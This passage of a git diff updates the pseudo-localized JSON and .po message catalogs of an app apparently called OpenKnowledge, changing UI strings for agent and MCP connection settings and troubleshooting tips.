],"h3QZcB": ["À ƀŕàńćĥ ńàḿēď ",["shareBranch"],@@ -3554,7 +3688,6 @@"iH8pgl": ["ßàćķ"],"iHAJDj": ["Ŕēśōĺvĩńĝ ďēƒàũĺţ ĺōćàţĩōń"],"iIaSUD": ["Ŵĥĩţēśƥàćē"],- "iKS6gg": ["Śķĩĺĺś ḿōvēď ţō Śķĩĺĺś Śţũďĩō."],"iKSP5j": ["Ŵōŕď ŵŕàƥ"],"iKZkk1": ["Ƥŕōƥēŕţŷ vàĺũē"],"iKvAeG": ["Ćĥēćķĩńĝ"],@@ -3603,6 +3736,7 @@"ij-Elv": ["Ĩḿàĝē ƥŕēvĩēŵ"],"ijLc3m": ["ßũĺĺēţ ĺĩśţ"],"ilodsp": ["Ĺēţ àĝēńţś ũśē ŌƥēńĶńōŵĺēďĝē ŵĩţĥōũţ àśķĩńĝ"],+ "inJhKB": ["Ŕēƥĺàćē àńď śàvē"],"ioMn4Z": ["Ńēŵ ƒŕōḿ Ţēḿƥĺàţē…"],"iodl3p": ["Śēŕvēŕ ŕēţũŕńēď à ḿàĺƒōŕḿēď ũƥĺōàď ŕēśƥōńśē."],"ipCibE": ["Ēḿƥţŷ ƒōĺďēŕ ńàḿēś àŕēń'ţ àĺĺōŵēď (//)"],@@ -3618,6 +3752,7 @@"irnKr_": ["Ũƥďàţēď ", ["updatedRelative"]],"irrm_E": ["Ŕēḿōvē śēĺēćţĩōń"],"isRobC": ["Ńēŵ"],+ "itchkf": ["Ćōńńēćţś ţĥē àĝēńţ ţō ŌƥēńĶńōŵĺēďĝē ĩń ēvēŕŷ ƥŕōĴēćţ ōń ţĥĩś ḿàćĥĩńē."],"iuTKci": ["Ńō ēďĩţś ŷēţ."],"iv452l": ["Ďōćũḿēńţàţĩōń ƒōŕ ", ["0"], " (ōƥēńś ĩń ƀŕōŵśēŕ)"],"iycx_A": ["Ƥũśĥĩńĝ"],@@ -3797,6 +3932,7 @@"kfL8BJ": ["Ĩḿƥōŕţ ƒàĩĺēď: ", ["0"]],"kj9pAE": ["Ćŕēàţĩńĝ ƥàĝē"],"kjlQ9D": ["ƀēćōḿēś à śŷḿĺĩńķ"],+ "kjrq_8": ["Ḿōŕē ĩńƒōŕḿàţĩōń"],"kknhfj": ["Ńō ćĥàńĝēś"],"kkux8f": ["Ćōũĺďń’ţ ďēĺēţē ", ["0"], ". Ţŕŷ àĝàĩń."],"klPS-L": ["Ōŕĩĝĩńàĺ ƒĩĺē — ƀēƒōŕē ţĥĩś àĝēńţ'ś ēďĩţś."],@@ -3852,6 +3988,7 @@"l87Deg": ["Ćĥōōśē ŵĥàţ à ńēŵ ţàƀ śţàŕţś"],"l9s3IX": [["agentName"], " ćōũĺďń'ţ śţàŕţ à ćōńvēŕśàţĩōń."],"lAiyU_": ["Ōńĺŷ ţĥē ćũŕŕēńţ ďōćũḿēńţ ũśēś <0>#", ["tag"], "</0>."],+ "lBN3T6": ["Àĝēńţ ćōńńēćţĩōńś"],"lCC_D5": ["Śũƀśćŕĩƀĩńĝ..."],"lGs_bQ": ["Ƥàĝē <0>*</0>"],"lHCR4I": ["Ćĺēàŕ ţĥē ƒĩēĺď ţō ŕēśēţ ƀàćķ ţō ţĥē ďēƒàũĺţ ŌƥēńÀĨ ēńďƥōĩńţ."],@@ -3934,9 +4071,6 @@"mHo0kp": ["Ţĥē ŕēǫũēśţ ţō ēńàƀĺē Ōƥēń Ķńōŵĺēďĝē ţōōĺś ţĩḿēď ōũţ. Ţĥĩś ţĥŕēàď ŕũńś ŵĩţĥōũţ ţĥēḿ."],- "mLAjyL": [- "Ĝĩvē ţĥē ÀĨ ţōōĺś ŷōũ ũśē àććēśś ţō ŕēàď àńď ũƥďàţē ŷōũŕ ƥŕōĴēćţś. Ćĥēćķĩńĝ à ƀōx śēţś ĩţ ũƥ ŕĩĝĥţ àŵàŷ; ũńćĥēćķĩńĝ ŕēḿōvēś ĩţ."- ],"mPoOmg": ["ĩńśţàĺĺ à śķĩĺĺ ĥēŕē ƒĩŕśţ"],"mPy9lS": ["Ōŕĝàńĩźē ḿŷ ēxĩśţĩńĝ śƥēćś ĩńţō à ĺĩńķēď ĩńďēx ĝŕōũƥēď ƀŷ àŕēà, àńď ƒĺàĝ àńŷ ţĥàţ ĥàvē ďŕĩƒţēď ōũţ ōƒ śŷńć ŵĩţĥ ţĥē ćũŕŕēńţ ćōďē."@@ -3954,6 +4088,7 @@"maDWIB": ["Ḿĩŕŕōŕ śōũŕćē <0>àƥĩ-śƥēć</0>"],"makN88": ["Ńō ƥàţţēŕńś ŷēţ. Ţŷƥē à ƒōĺďēŕ ōŕ ƒĩĺē ńàḿē ƀēĺōŵ ţō śţàŕţ ĥĩďĩńĝ ƒĩĺēś."],"mdKFEy": ["Ŷōũ ćàńćēĺĺēď ĺōàďĩńĝ \"", ["docName"], "\"."],+ "mdWhUY": ["ŌƥēńĶńōŵĺēďĝē ćōũĺď ńōţ ƒĩńď ţĥĩś àĝēńţ ōń ţĥĩś ḿàćĥĩńē."],"mdzKSV": [["nodeCount", "plural", { "one": ["#", " ńōďē"], "other": ["#", " ńōďēś"] }]],"mf37rL": ["Ŕēţŕŷĩńĝ"],"mg0YGL": ["Śōũŕćē ḿũĺţĩ-ćũŕśōŕ àńď ḿũĺţĩ-śēĺēćţ"],@@ -4013,6 +4148,7 @@"mwMF9u": ["Ōƥēń ĆōďēḾĩŕŕōŕ śēàŕćĥ ĩń śōũŕćē ēďĩţōŕ ḿōďē."],"mxGJVE": ["Śŵĩţćĥ ŵōŕķţŕēē…"],"mxY24F": ["Ďũƥĺĩćàţē ţĥē ƒōćũśēď ƒĩĺē-ţŕēē ĩţēḿ ŵĥēń ƒōćũś ĩś ĩń ţĥē Ƒĩĺēś śĩďēƀàŕ."],+ "n11Jj7": ["Ĩńśţàĺĺś ţĥē ŌƥēńĶńōŵĺēďĝē ƥŕōĴēćţ śķĩĺĺ ƒōŕ ţĥĩś àĝēńţ."],"n2XqGH": ["ēďĩţōŕ ƥàńē"],"n2lRue": ["Ćōḿḿĩţ ōŕ śţàśĥ ćĥàńĝēś ţō śŵĩţćĥ:"],"n3T3EE": ["Ĩńśţàĺĺēď ĩń ", ["label"], " — ćĺĩćķ ţō ŕēḿōvē"],@@ -4028,9 +4164,6 @@],"n7aopT": ["Ēďĩţōŕ ḿōďē"],"n81AV0": [["owner"], "/", ["name"], " àĺŕēàďŷ ēxĩśţś. Ƥĩćķ à ďĩƒƒēŕēńţ ńàḿē."],- "n8DwqQ": [- "Ćōńńēćţś àũţōḿàţĩćàĺĺŷ ţĥē ńēxţ ţĩḿē ŷōũ ōƥēń ţĥĩś ƥŕōĴēćţ ĩń à ţŕũśţēď Ćōďēx śēśśĩōń."- ],"nBHvPL": ["Ćàńćēĺ ēďĩţĩńĝ"],"nBgzKO": ["Ḿàķē ţĥĩś ţĥē śōũŕćē — ţĥē śķĩĺĺ'ś ŕēàĺ ƒōĺďēŕ ḿōvēś ĥēŕē"],"nCzR-G": ["Ćōƥŷ ćōďē ", ["userCode"]],@@ -4094,6 +4227,9 @@"nsM-_m": ["ßŕōŵśē ĥũńďŕēďś ōƒ ţĥēḿēś"],"nsUDL8": [["0"], " ōƒ ", ["1"], " ƥŕōĴēćţś śēĺēćţēď"],"nskygk": ["Ćĥōōśē àĝēńţ"],+ "nta97o": [+ "Ĝĩvēś ţĥē àĝēńţ ĩńśţŕũćţĩōńś ƒōŕ ŵōŕķĩńĝ ŵĩţĥ ŷōũŕ ďōćũḿēńţś àńď ķēēƥś ĩţś ēďĩţś àţţŕĩƀũţēď."+ ],"nwtY4N": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ"],"nxlOpL": ["ŌƥēńĶńōŵĺēďĝē ĩś ũśĩńĝ ţĥĩś ĜĩţĤũƀ àććōũńţ."],"ny6vNn": [@@ -4159,6 +4295,9 @@"\" ćōũĺď ńōţ ƀē ćĺēàŕēď. Ŕēĺōàď ţō ŕēţŕŷ."],"oxdGJn": ["ßēƒōŕē ŷōũ ĝō, ḿĩńď śĥàŕĩńĝ ŵĥŷ?"],+ "oxj8er": [+ "Ćōńńēćţś ţĥē àĝēńţ ţō ţĥĩś ƥŕōĴēćţ śō ĩţ ćàń ŕēàď, śēàŕćĥ, àńď ēďĩţ ŷōũŕ ďōćũḿēńţś."+ ],"oy5bJW": ["Ŷōũ ćàń àďď"],"oyBV3W": ["Ćũśţōḿ śķĩĺĺś ƒōĺďēŕ ƥàţĥ"],"p0Iq25": ["Ĩńśēŕţ ĺĩńķ"],@@ -4232,7 +4371,6 @@["2"],"\" śķĩĺĺ. Àńŷţĥĩńĝ ĩń ŚĶĨĹĹ.ḿď ţĥàţ ƥōĩńţś àţ ĩţ ŵĩĺĺ ƀŕēàķ ũńţĩĺ ĩţ'ś ŕēćŕēàţēď."],- "psfGPX": ["ḾĆƤ ćōńńēćţĩōńś"],"psl2Sj": ["Ŷōũŕ ćĥàńĝē ĩś śţĩĺĺ ƀēĩńĝ śàvēď — ŕũń ţĥē ţēśţ àĝàĩń ĩń à ḿōḿēńţ."],"ptQ3_N": ["ũńĺĩńķ"],"pvnfJD": ["Ďàŕķ"],@@ -4246,6 +4384,7 @@"q4YJl_": ["Ţĥē ţēŕḿĩńàĺ śēśśĩōń ēńďēď (ēxĩţ ćōďē ", ["0"], ")."],"q4efaG": [["filePath"], " ĩś ńō ĺōńĝēŕ ĩń ţĥĩś śķĩĺĺ"],"q6-JVU": ["Ĺōàďĩńĝ ƥàĝēś"],+ "q63KUv": ["Àďď ḾĆƤ & śķĩĺĺ"],"q7F5am": ["ţĩţĺē"],"q8aCbb": ["Ţŵō vēŕśĩōńś ōƒ \"", ["0"], "\" — śōũŕćē vś ", ["editor"]],"qAQVSD": ["Ƥàĝē ĥēàďĩńĝś ŕēśƥōńśē ŵàś ńōţ ĵŚŌŃ"],@@ -4316,10 +4455,12 @@"qlAIQ1": ["Ŕēḿōţē"],"qo4zCg": ["Ƥàţĥ ćàńńōţ ćōńţàĩń ƀàćķśĺàśĥēś"],"qpQwGC": ["Ďēśćŕĩƀē ŵĥàţ ŷōũ'ŕē ŵōŕķĩńĝ ōń àńď ţĥē àĝēńţ śēţś ĩţ ũƥ ƒōŕ ŷōũ."],+ "qr2gAH": ["Ćĥōōśē ŵĥàţ ŌƥēńĶńōŵĺēďĝē śēţś ũƥ ƒōŕ ", ["0"], "."],"qribBG": ["śćĥēḿà ", ["deleteTarget"]],"qtnmEX": ["Ēńţēŕ à vàĺĩď ţĥēḿē ńàḿē."],"qvWGzP": ["Ćōĺĺàƥśē àĺĺ"],"qyLmWw": ["Śōũŕćē ēďĩţōŕ śēàŕćĥ ƥàńēĺ"],+ "qze9od": ["Ţĥĩś ƒōĺďēŕ ĩś àĺśō ", ["alsoAffects"], "'ś."],"r-OJYm": ["Ēńţēŕ à vàĺĩď ƀŕàńćĥ ńàḿē (ńō śƥàćēś, ńō ĺēàďĩńĝ ďōţ, ńō \"..\")."],"r2eKE3": ["Śĩĝń ĩń ţō ", ["agentName"], " ƒĩŕśţ"],"r4R7AZ": ["Ńēţŵōŕķ ēŕŕōŕ ďũŕĩńĝ ćĺēàńũƥ"],@@ -4411,6 +4552,9 @@"s1c0ja": ["ßũĺĺēţ Ĺĩśţ"],"s3caR3": ["Ďēĺēţĩńĝ"],"s7us1p": ["Ōńĺŷ ƤŃĜ, ĵƤĒĜ, ōŕ ŴēƀƤ ĩḿàĝēś àŕē àĺĺōŵēď."],+ "s8difl": [+ "Ŵĩţĥōũţ ţĥē śķĩĺĺ ţĥē àĝēńţ śţĩĺĺ ŵōŕķś, ƀũţ ĩţ ĺōśēś ēďĩţ àţţŕĩƀũţĩōń àńď ţĥē ĺĩvē ƥŕēvĩēŵ."+ ],"sAP9XO": [["0"], " ƥĺũĝĩń · ", ["1"]],"sE7R19": ["Ćōũĺď ńōţ ĺōàď ţēḿƥĺàţēś: ",@@ -4502,6 +4646,9 @@"tA0b9E": ["ţĥē ďēƒàũĺţ śķĩĺĺś ƒōĺďēŕ (ţĥē ēxàćţ ƥàţĥ àƥƥēàŕś ōńćē śàvēď)"],"tA2-xC": ["\"", ["0"], "\" ŵàś àĺŕēàďŷ àďďēď (ĩďēńţĩćàĺ ćōńţēńţ)."],"tAPZEx": ["ßēĺōŵ"],+ "tCE-ZH": [+ "ŌƥēńĶńōŵĺēďĝē ďōēś ńōţ ŕēćōĝńĩźē ţĥĩś ēńţŕŷ, àńď ćàńńōţ śàƒēĺŷ ŕēƥĺàćē ĩţ ĩń ţĥĩś ƒĩĺē'ś ƒōŕḿàţ."+ ],"tCyvAw": ["Àţţàćĥ à ƒĩĺē"],"tHKQ6j": ["Ŕēńàḿĩńĝ"],"tKlWWY": ["ĒḿōĴĩ"],@@ -4544,6 +4691,52 @@"tnG-m6": ["Àũţō-śŷńć ĩś ƥàũśēď — śĩĝń ĩń ţō ŕēśũḿē."],"toyw51": ["Ḿēŕḿàĩď ďĩàĝŕàḿ ćōńţŕōĺś"],"tqQBwN": ["Àńŷ śćŕĩƥţś àŕē śĥōŵń ƒōŕ ŕēvĩēŵ, ńēvēŕ ŕũń."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " àśķś ŷōũ ţō àƥƥŕōvē ēàćĥ ŌƥēńĶńōŵĺēďĝē ţōōĺ ţĥē ƒĩŕśţ ţĩḿē ĩţ ĩś ũśēď."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "Ĩƒ ",+ ["agent"],+ " śĥōŵś ńō ŌƥēńĶńōŵĺēďĝē ţōōĺś, ŕũń ĩţ ĩń ţĥĩś ƥŕōĴēćţ àńď àƥƥŕōvē ţĥē ŌƥēńĶńōŵĺēďĝē śēŕvēŕ ōńćē."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "Ţĥē ",+ ["agent"],+ " ďēśķţōƥ àƥƥ ĩĝńōŕēś ţĥĩś ƥŕōĴēćţ ćōńƒĩĝ; ōńĺŷ ţĥē ",+ ["agent"],+ " ĆĹĨ ŕēàďś ĩţ."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " ŕēàďś ţĥē ŵōŕķśƥàćē ḾĆƤ ćōńƒĩĝ ŌƥēńĶńōŵĺēďĝē ŵŕĩţēś ƒōŕ ",+ ["sourceAgent"],+ "; ŕēḿōvĩńĝ ĩţ ƒōŕ ōńē ŕēḿōvēś ĩţ ƒōŕ ƀōţĥ."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "Ĩƒ ",+ ["agent"],+ " śĥōŵś ńō ŌƥēńĶńōŵĺēďĝē ţōōĺś, ţũŕń ţĥē śēŕvēŕ ōń ũńďēŕ Śēţţĩńĝś → Ţōōĺś & ḾĆƤ; ",+ ["agent"],+ " ĺēàvēś ƥŕōĴēćţ śēŕvēŕś ōƒƒ ũńţĩĺ ŷōũ ďō."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "Ĩƒ ",+ ["agent"],+ " śĥōŵś ńō ŌƥēńĶńōŵĺēďĝē ţōōĺś, ćĥēćķ ţĥàţ ĩţś ḾĆƤ ćōńƒĩĝ ƥàţĥ ĩń ĩţś śēţţĩńĝś ḿàţćĥēś ţĥē ƒĩĺē ŌƥēńĶńōŵĺēďĝē ŵŕōţē."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ "'ś ćēńţŕàĺ śķĩĺĺś śţōŕē ďōēś ńōţ ēxĩśţ ŷēţ; śţàŕţ ",+ ["agent"],+ " ōńćē śō ĩţ ćŕēàţēś ĩţ, ţĥēń ţŕŷ àĝàĩń."+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " ĺōàďś ƥŕōĴēćţ ēxţēńśĩōńś ōńĺŷ ĩń ƒōĺďēŕś ŷōũ ĥàvē ţŕũśţēď; ţŕũśţ ţĥĩś ƒōĺďēŕ ĩń ",+ ["agent"],+ " ĩƒ ţĥē ţōōĺś ďō ńōţ àƥƥēàŕ."+ ],"tsiTqO": ["Ƥàśţē ŷōũŕ ÀƤĨ ķēŷ"],"tvMvze": ["Ćōũĺď ńōţ ḿōvē \"",@@ -4598,6 +4791,7 @@"uUCrBv": ["śŷḿĺĩńķ"],"uV3EYs": ["Ŷōũŕ ĩḿàĝēś"],"uVbUP8": ["Śēţţĩńĝś…"],+ "uVhq9B": ["Ĩńśţàĺĺś ţĥē ŌƥēńĶńōŵĺēďĝē ďĩśćōvēŕŷ śķĩĺĺ ƒōŕ ţĥĩś àĝēńţ."],"uX85yl": ["Śēţũƥ ƒĩĺēś ĩńćĺũďē: <0>.ōķ/</0>, ÀĨ-ţōōĺ ḾĆƤ ćōńƒĩĝś (<1>.ḿćƥ.Ĵśōń</1> àńď ƥēŕ-ţōōĺ ƒĩĺēś). Ŷōũŕ śķĩĺĺś àŕē ńōţ ćōvēŕēď — ţĥēŷ ƒōĺĺōŵ ĝĩţ ĺĩķē àńŷ ōţĥēŕ ƒĩĺē ĩń ţĥē ƥŕōĴēćţ.<2/><3>Śĥàŕēď</3> ćōḿḿĩţś ţĥēḿ ţō ĝĩţ, śō àńŷōńē ŵĥō ćĺōńēś ţĥē ŕēƥō ĝēţś ţĥē śàḿē śēţũƥ. <4/><5>Ōńĺŷ ḿē</5> ķēēƥś ţĥēḿ ōũţ ōƒ ĝĩţ (vĩà <6>.ĝĩţ/ĩńƒō/ēxćĺũďē</6>)."],@@ -4723,6 +4917,7 @@"vvWZnu": ["Ďĩƒƒ ũńàvàĩĺàƀĺē"],"vwV-kH": ["Ƒĩxĩńĝ ƒĩĺēś śţōƥƥēď ũńēxƥēćţēďĺŷ."],"vy_VIN": ["Ţŕàćķēď ĩń ĝĩţ — ũƥďàţēś ƒĺōŵ ţĥŕōũĝĥ ŷōũŕ ŕēƥō (ƥũĺĺ ōŕ ĆĨ), ńōţ àũţō-ũƥďàţē"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", " ćĥàńĝē"], "other": ["#", " ćĥàńĝēś"] }]],"w0YVAE": ["Śĥōŵ śķĩĺĺ ńōďēś"],"w3tVpc": ["Ńō ĺĩńķś ŷēţ. Àďď ŵĩķĩ ĺĩńķś ōŕ ḿàŕķďōŵń ĺĩńķś ţō ƀũĩĺď à ĝŕàƥĥ."],"w3vFfL": ["Ĥĩďē Ƒĩĺēś"],@@ -4758,6 +4953,7 @@"wQp1V3": ["Ḿĩŕŕōŕ ōƒ <0>", ["src"], "</0>"],"wQvvZY": ["Ńēŵ śķĩĺĺ ƒĩĺē"],"wRni1Z": ["Ďĩśàƀĺē Śĺĩďēv"],+ "wSBXaS": ["Ḿàńàĝē ", ["rowLabel"]],"wT4iQr": ["Ōƥēń vĩśũàĺ-ēďĩţōŕ ƒĩńď ŵĩţĥ ŕēƥĺàćē ćōńţŕōĺś ēxƥàńďēď."],"wTcjov": ["Ńō ŵōŕķśƥàćē"],"wU8WyK": ["Ēĺēḿēńţ ƒĩēĺďś"],@@ -4783,7 +4979,9 @@"wdxz7K": ["Śōũŕćē"],"wdzBgi": ["Ćōńƒĩĝ śĥàŕĩńĝ ĩś ńōŵ Ōńĺŷ ḿē."],"weP6me": ["Ćōũĺďń'ţ ĺōàď ďōćś — ţŷƥē @ àĝàĩń ţō ŕēţŕŷ"],+ "wfZwqe": ["Ĩńśţàĺĺ ", ["rowLabel"]],"wgNoIs": ["Śēĺēćţ àĺĺ"],+ "wgj--j": ["Àďďś à ĝĺōƀàĺ ŌƥēńĶńōŵĺēďĝē ḾĆƤ ēńţŕŷ ƒōŕ ţĥĩś àĝēńţ."],"wk_v1X": ["Śŷńć ĩś śēţ ţō Àũţō (Ƥũĺĺ àńď Ƥũśĥ) ƒōŕ ţĥĩś ŵōŕķţŕēē, ĩńĥēŕĩţēď ƒŕōḿ ",["project"],@@ -4925,7 +5123,6 @@"yZmvQ4": ["Ţĥĩś ƥŕōĴēćţ'ś śēŕvēŕ (v", ["0"], ") ĩś ńēŵēŕ ţĥàń ţĥĩś àƥƥ (v", ["1"], ")."],"y_5CE8": ["Ĩţēḿ ", ["0"]],"y_K0Dz": ["Ŵĥàţ ĥàƥƥēńēď?"],- "yaPGPa": ["Ōƥēń à ƥŕōĴēćţ ţō ḿàńàĝē ĩţś ÀĨ ţōōĺ ćōńńēćţĩōńś."],"ybPMz3": ["Ćōũĺďń'ţ ƥĩń ", ["name"]],"ycIX5i": ["Ŷōũ'ŕē śĩĝńēď ōũţ — śĩĝń ĩń ţō ŕēśũḿē śŷńćĩńĝ."],"yckias": ["Ŕēńàḿē ƒĩĺē"],@@ -4947,9 +5144,6 @@["source"],"</0> — àĝēńţś ŕũńńĩńĝ ĥēŕē ćàń'ţ ĺōàď ĩţ. Ćōƥŷ ĩţ ĩń ţō ēďĩţ."],- "yhdqox": [- "Ĩńśţàĺĺēď — ōķ ĩś àvàĩĺàƀĺē ĩń ēxţēŕńàĺ ţēŕḿĩńàĺś. Ũńćĥēćķĩńĝ ŕēḿōvēś ĩţ; ŌƥēńĶńōŵĺēďĝē'ś ƀũĩĺţ-ĩń ţēŕḿĩńàĺ àńď ÀĨ ţōōĺś ķēēƥ ŵōŕķĩńĝ."- ],"yhy5h-": ["Śēē àĺĺ ", ["count"], " śķĩĺĺś"],"yit5dF": ["Ńō ƒōĺďēŕś ĩń ţĥĩś ƥŕōĴēćţ ŷēţ."],"yjExfe": ["ßŕàńćĥ <0>", ["shareBranch"], "</0> ĩś ćĥēćķēď ōũţ ĩń:"],@@ -4962,7 +5156,6 @@"yvG-l1": ["Ōƥēń śōũŕćē ĺĩńţ ƥàńēĺ"],"yvHDYG": ["Ćĺàũďē Ďēśķţōƥ"],"yvSAuM": ["Śţōƥ ƒĩxĩńĝ. Ƒĩĺēś àĺŕēàďŷ ƒĩxēď śţàŷ ƒĩxēď."],- "ywVfOE": ["Ţĥĩś ƥŕōĴēćţ'ś śķĩĺĺ ḿōvēď ţō Śķĩĺĺś Śţũďĩō."],"yxF19Y": [["0", "plural", { "one": ["#", " ƥĺũĝĩń"], "other": ["#", " ƥĺũĝĩńś"] }]],"yz7wBu": ["Ćĺōśē"],"yzF66j": ["Ĺĩńķ"],diff --git a/packages/app/src/locales/pseudo/messages.po b/packages/app/src/locales/pseudo/messages.poindex 26edf766e..6b5652d80 100644--- a/packages/app/src/locales/pseudo/messages.po+++ b/packages/app/src/locales/pseudo/messages.po@@ -330,6 +330,12 @@ msgstr ""msgid "{0} needs {1}"msgstr ""+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr ""+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr ""msgid "{accessibleLabel} (conflict)"msgstr ""+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr ""+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr ""@@ -520,6 +551,10 @@ msgstr ""msgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr ""+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr ""@@ -609,6 +644,26 @@ msgstr ""msgid "{days}d ago"msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr ""++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr ""+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr ""@@ -650,7 +705,7 @@ msgstr ""#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr ""@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr ""#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr ""@@ -1060,10 +1115,6 @@ msgstr ""msgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr ""-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr ""-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr ""@@ -1489,6 +1540,14 @@ msgstr ""msgid "Add link"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr ""++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr ""+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr ""@@ -1527,10 +1586,9 @@ msgstr ""msgid "Add tag"msgstr ""-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr ""@@ -1564,14 +1622,13 @@ msgstr ""msgid "Added"msgstr ""-#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."msgstr ""-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"+#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/OkCliPathRow.tsx+msgid "Adds a managed block to"msgstr ""#. Subtext under the project AI-tools checkbox@@ -1584,6 +1641,20 @@ msgstr ""msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr ""+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr ""++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr ""+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr ""@@ -1636,6 +1707,11 @@ msgstr ""msgid "Agent configuration file"msgstr ""+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr ""+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr ""@@ -1657,23 +1733,14 @@ msgid "Agent transcript"msgstr ""#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr ""-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr ""--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr ""-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr ""-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr ""@@ -2393,14 +2460,6 @@ msgstr ""msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr ""-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr ""--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr ""-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr ""@@ -2429,6 +2488,7 @@ msgstr ""#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: 